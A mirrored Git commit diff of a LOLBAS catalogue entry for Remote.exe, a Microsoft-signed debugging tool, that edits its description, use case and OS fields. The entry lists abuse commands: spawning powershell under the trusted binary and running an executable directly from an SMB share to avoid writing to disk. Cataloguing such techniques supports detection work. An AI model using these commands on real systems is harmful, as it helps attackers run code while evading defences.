mirror of
				https://github.com/LOLBAS-Project/LOLBAS
				synced 2025-11-04 02:29:34 +01:00 
			
		
		
		
	Update Remote.yml
This commit is contained in:
		@@ -1,6 +1,6 @@
 | 
			
		||||
---
 | 
			
		||||
Name: Remote.exe
 | 
			
		||||
Description: Allows you to run command-line programs on remote computers
 | 
			
		||||
Description: Debugging tool included with Windows Debugging Tools
 | 
			
		||||
Author: mr.d0x
 | 
			
		||||
Created: 1/6/2021
 | 
			
		||||
Commands:
 | 
			
		||||
@@ -11,7 +11,7 @@ Commands:
 | 
			
		||||
    Privileges: User
 | 
			
		||||
    MitreID:
 | 
			
		||||
    MitreLink: 
 | 
			
		||||
    OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 10
 | 
			
		||||
    OperatingSystem:
 | 
			
		||||
  - Command: Remote.exe /s "powershell.exe" anythinghere
 | 
			
		||||
    Description: Spawns powershell as a child process of remote.exe
 | 
			
		||||
    Usecase: Executes a process under a trusted Microsoft signed binary
 | 
			
		||||
@@ -19,15 +19,15 @@ Commands:
 | 
			
		||||
    Privileges: User
 | 
			
		||||
    MitreID:
 | 
			
		||||
    MitreLink: 
 | 
			
		||||
    OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 10
 | 
			
		||||
    OperatingSystem:
 | 
			
		||||
  - Command: Remote.exe /s "\\10.10.10.30\binaries\file.exe" anythinghere
 | 
			
		||||
    Description: Run a remote file
 | 
			
		||||
    Usecase: Avoiding any writes to disk
 | 
			
		||||
    Usecase: Executing a remote binary without saving file to disk
 | 
			
		||||
    Category: Execute
 | 
			
		||||
    Privileges: User
 | 
			
		||||
    MitreID: 
 | 
			
		||||
    MitreLink: 
 | 
			
		||||
    OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 10
 | 
			
		||||
    OperatingSystem:
 | 
			
		||||
Full_Path:
 | 
			
		||||
  - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exe
 | 
			
		||||
  - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\remote.exe
 | 
			
		||||
@@ -40,4 +40,4 @@ Resources:
 | 
			
		||||
Acknowledgement:
 | 
			
		||||
  - Person: mr.d0x
 | 
			
		||||
    Handle: '@mrd0x'
 | 
			
		||||
---
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user